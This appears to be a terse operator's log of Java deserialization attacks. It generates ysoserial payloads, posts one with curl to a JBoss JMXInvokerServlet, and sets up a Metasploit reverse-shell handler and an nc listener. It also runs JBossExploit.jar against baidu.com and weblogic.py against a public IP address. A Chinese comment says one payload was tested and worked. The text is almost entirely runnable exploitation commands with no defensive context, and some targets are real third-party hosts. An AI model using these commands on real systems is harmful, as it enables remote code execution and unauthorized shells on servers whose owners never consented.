▶ java -jar ysoserial-0.0.2-all.jar
Y SO SERIAL?  
Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'  
    Available payload types:  
        CommonsCollections1 #jboss用這個我測試過一次可行  
        CommonsCollections2 #剩下的沒測試過  
        Groovy1  
        Spring1  

▶ java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'command' >/tmp/payload
▶ curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload' http://127.0.0.1:8080/invoker/JMXInvokerServlet

▶ssh kali
root@Kali:~# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/shell/reverse_tcp
msf exploit(handler) > set LHOST 123.123.123.123
msf exploit(handler) > set LPORT 999
msf exploit(handler) > exploit

▶ssh kali
root@Kali:~# java -jar JBossExploit.jar -lhost 123.123.123.123 -lport 999 -rhost baidu.com -rport 80 -srvport 4040

▶ javac -classpath commons-collections-3.2.jar Main.java
▶ java Main.class
▶ python weblogic.py 116.208.2.162 7001 /tmp/payload
▶ ssh kali
root@Kali:~# nc -vv -l -p 888